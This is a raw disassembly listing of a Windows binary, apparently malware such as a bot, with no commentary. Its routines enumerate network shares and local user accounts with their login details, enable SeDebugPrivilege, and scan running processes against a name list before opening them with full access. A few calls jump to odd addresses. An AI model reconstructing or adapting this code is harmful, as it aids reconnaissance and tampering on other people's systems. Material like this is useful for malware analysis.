		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_418CC8:				; CODE XREF: sub_418C8F+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB598
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2B
		cmp	ebx, 0EAh
		jz	short loc_418D2B
		push	ebx
		push	ebx
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439788
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_418D98
; ---------------------------------------------------------------------------


loc_418D2B:				; CODE XREF: sub_418C8F+5Dj
					; sub_418C8F+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8F
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D39:				; CODE XREF: sub_418C8F+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB53C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D50
		mov	eax, offset aNo	; "No"


loc_418D50:				; CODE XREF: sub_418C8F+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D39
		xor	esi, esi


loc_418D8F:				; CODE XREF: sub_418C8F+A2j
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_418D98:				; CODE XREF: sub_418C8F+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC8
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DB0	proc near		; CODE XREF: sub_401ACD:loc_4061EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E55
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF2
		dec	eax
		jz	short loc_418DE7
		dec	eax
		jnz	short loc_418E0D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF7
		add	esp, 14h
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DE7:				; CODE XREF: sub_418DB0+1Dj
		push	ebx
		push	edi
		call	sub_418ED6
		pop	ecx
		pop	ecx
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418DF2:				; CODE XREF: sub_418DB0+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E06
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7C
		add	esp, 0Ch
		jmp	short loc_418E09
; ---------------------------------------------------------------------------


loc_418E06:				; CODE XREF: sub_418DB0+45j
		push	57h
		pop	eax


loc_418E09:				; CODE XREF: sub_418DB0+35j
					; sub_418DB0+40j ...
		cmp	eax, edi
		jnz	short loc_418E2D


loc_418E0D:				; CODE XREF: sub_418DB0+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439094[eax*4]
		push	offset unk_439840
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E2D:				; CODE XREF: sub_418DB0+5Bj
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4D0
		push	off_439090[eax*4]
		push	offset unk_439810
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E75
; ---------------------------------------------------------------------------


loc_418E55:				; CODE XREF: sub_418DB0+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB4D0
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4397E8
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E75:				; CODE XREF: sub_418DB0+7Bj
					; sub_418DB0+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7C	proc near		; CODE XREF: sub_418DB0+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2B
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB52C
		pop	edi
		leave
		retn
sub_418E7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED6	proc near		; CODE XREF: sub_418DB0+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB51C
		pop	esi
		retn
sub_418ED6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF7	proc near		; CODE XREF: sub_418DB0+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CB6AC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929F
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192DA
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419016
		dec	eax
		jz	short loc_41900F
		dec	eax
		jz	short loc_419008
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419008:				; CODE XREF: sub_418EF7+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_41900F:				; CODE XREF: sub_418EF7+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901B
; ---------------------------------------------------------------------------


loc_419016:				; CODE XREF: sub_418EF7+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901B:				; CODE XREF: sub_418EF7+10Fj
					; sub_418EF7+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A73
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CB
; ---------------------------------------------------------------------------


loc_41929F:				; CODE XREF: sub_418EF7+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439860
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A73
		add	esp, 20h


loc_4192CB:				; CODE XREF: sub_418EF7+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192DA
		push	[ebp+var_4]
		call	dword_4CB6E4


loc_4192DA:				; CODE XREF: sub_418EF7+40j
					; sub_418EF7+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192E0	proc near		; CODE XREF: sub_401ACD+473Cp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2B
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 18h


loc_41931F:				; CODE XREF: sub_4192E0+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB5B4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_419380
		cmp	eax, 0EAh
		jz	short loc_419380
		push	eax
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439A50
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 24h
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_419380:				; CODE XREF: sub_4192E0+62j
					; sub_4192E0+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940E
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FB


loc_419392:				; CODE XREF: sub_4192E0+EDj
		cmp	edi, esi
		jz	short loc_4193D1
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419392
		jmp	short loc_4193FB
; ---------------------------------------------------------------------------


loc_4193D1:				; CODE XREF: sub_4192E0+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439A1C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4193FB:				; CODE XREF: sub_4192E0+9Ej
					; sub_4192E0+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940E
		push	edi
		call	dword_4CB6E4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940E:				; CODE XREF: sub_4192E0+A5j
					; sub_4192E0+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931F
		cmp	edi, esi
		jz	short loc_419426
		push	edi
		call	dword_4CB6E4


loc_419426:				; CODE XREF: sub_4192E0+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419460	proc near		; CODE XREF: sub_418A99+41p
					; sub_418C8F+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419512
		jz	loc_41950B
		cmp	eax, 7Bh
		ja	short loc_4194D7
		jz	short loc_4194CD
		cmp	eax, 5
		jz	short loc_4194C3
		cmp	eax, 8
		jz	short loc_4194B9
		cmp	eax, 32h
		jz	short loc_4194AF
		cmp	eax, 35h
		jz	short loc_4194A5
		cmp	eax, 57h
		jnz	loc_419561
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194A5:				; CODE XREF: sub_419460+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194AF:				; CODE XREF: sub_419460+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194B9:				; CODE XREF: sub_419460+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194C3:				; CODE XREF: sub_419460+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194CD:				; CODE XREF: sub_419460+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194D7:				; CODE XREF: sub_419460+1Aj
		sub	eax, 7Ch
		jz	short loc_419504
		sub	eax, 7C8h
		jz	short loc_4194FD
		dec	eax
		jz	short loc_4194F3
		dec	eax
		jnz	short loc_419561
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194F3:				; CODE XREF: sub_419460+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419582
; ---------------------------------------------------------------------------


loc_4194FD:				; CODE XREF: sub_419460+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419504:				; CODE XREF: sub_419460+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41950B:				; CODE XREF: sub_419460+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419512:				; CODE XREF: sub_419460+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954B
		jz	short loc_419544
		sub	eax, 8ADh
		jz	short loc_419576
		dec	eax
		dec	eax
		jz	short loc_41953D
		dec	eax
		jz	short loc_419536
		dec	eax
		dec	eax
		jnz	short loc_419561
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419536:				; CODE XREF: sub_419460+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41953D:				; CODE XREF: sub_419460+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419544:				; CODE XREF: sub_419460+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41954B:				; CODE XREF: sub_419460+B9j
		sub	eax, 8CAh
		jz	short loc_41957D
		sub	eax, 17h
		jz	short loc_419576
		sub	eax, 25h
		jz	short loc_41956F
		sub	eax, 29h
		jz	short loc_419568


loc_419561:				; CODE XREF: sub_419460+35j
					; sub_419460+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419568:				; CODE XREF: sub_419460+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41956F:				; CODE XREF: sub_419460+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_419576:				; CODE XREF: sub_419460+C2j
					; sub_419460+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419582
; ---------------------------------------------------------------------------


loc_41957D:				; CODE XREF: sub_419460+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419582:				; CODE XREF: sub_419460+40j
					; sub_419460+4Aj ...
		push	offset dword_4DB270
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DB270
		pop	ecx
		retn
sub_419460	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419594	proc near		; CODE XREF: sub_401ACD+4782p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB664
		test	eax, eax
		jnz	short loc_419624
		mov	esi, offset dword_4DB06C
		push	offset unk_439D84
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964D
; ---------------------------------------------------------------------------


loc_419624:				; CODE XREF: sub_419594+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_419460
		pop	ecx
		mov	esi, offset dword_4DB06C
		push	eax
		push	offset dword_439D58
		push	esi
		call	sub_41B886
		add	esp, 14h


loc_41964D:				; CODE XREF: sub_419594+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419652	proc near		; CODE XREF: sub_416F1B+45p
					; sub_416F1B+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 271067Eh
		nop
		push	eax
		call	dword_4CB638
		test	eax, eax
		jnz	short loc_419671
		leave
		retn
; ---------------------------------------------------------------------------


loc_419671:				; CODE XREF: sub_419652+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB610
		test	eax, eax
		jz	short loc_4196AF
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419698
		or	[ebp+var_8], 2
		jmp	short loc_41969C
; ---------------------------------------------------------------------------


loc_419698:				; CODE XREF: sub_419652+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_41969C:				; CODE XREF: sub_419652+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB6C0
		mov	esi, eax


loc_4196AF:				; CODE XREF: sub_419652+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26608E1h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BD	proc near		; CODE XREF: sub_401ACD+7916p
					; sub_4198EC+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB674, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_4198BC
		cmp	dword_4CB658, ebx
		jz	loc_4198BC
		cmp	dword_4CB568, ebx
		jz	loc_4198BC
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB674
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AF
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB658
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198AA
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB568
		test	eax, eax
		jz	loc_4198AA
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh


loc_419781:				; CODE XREF: sub_4196BD+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E8
		mov	[ebp+var_4], offset off_439DB0


loc_41978F:				; CODE XREF: sub_4196BD+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_4197B7
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439E10
		jb	short loc_41978F
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197B7:				; CODE XREF: sub_4196BD+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
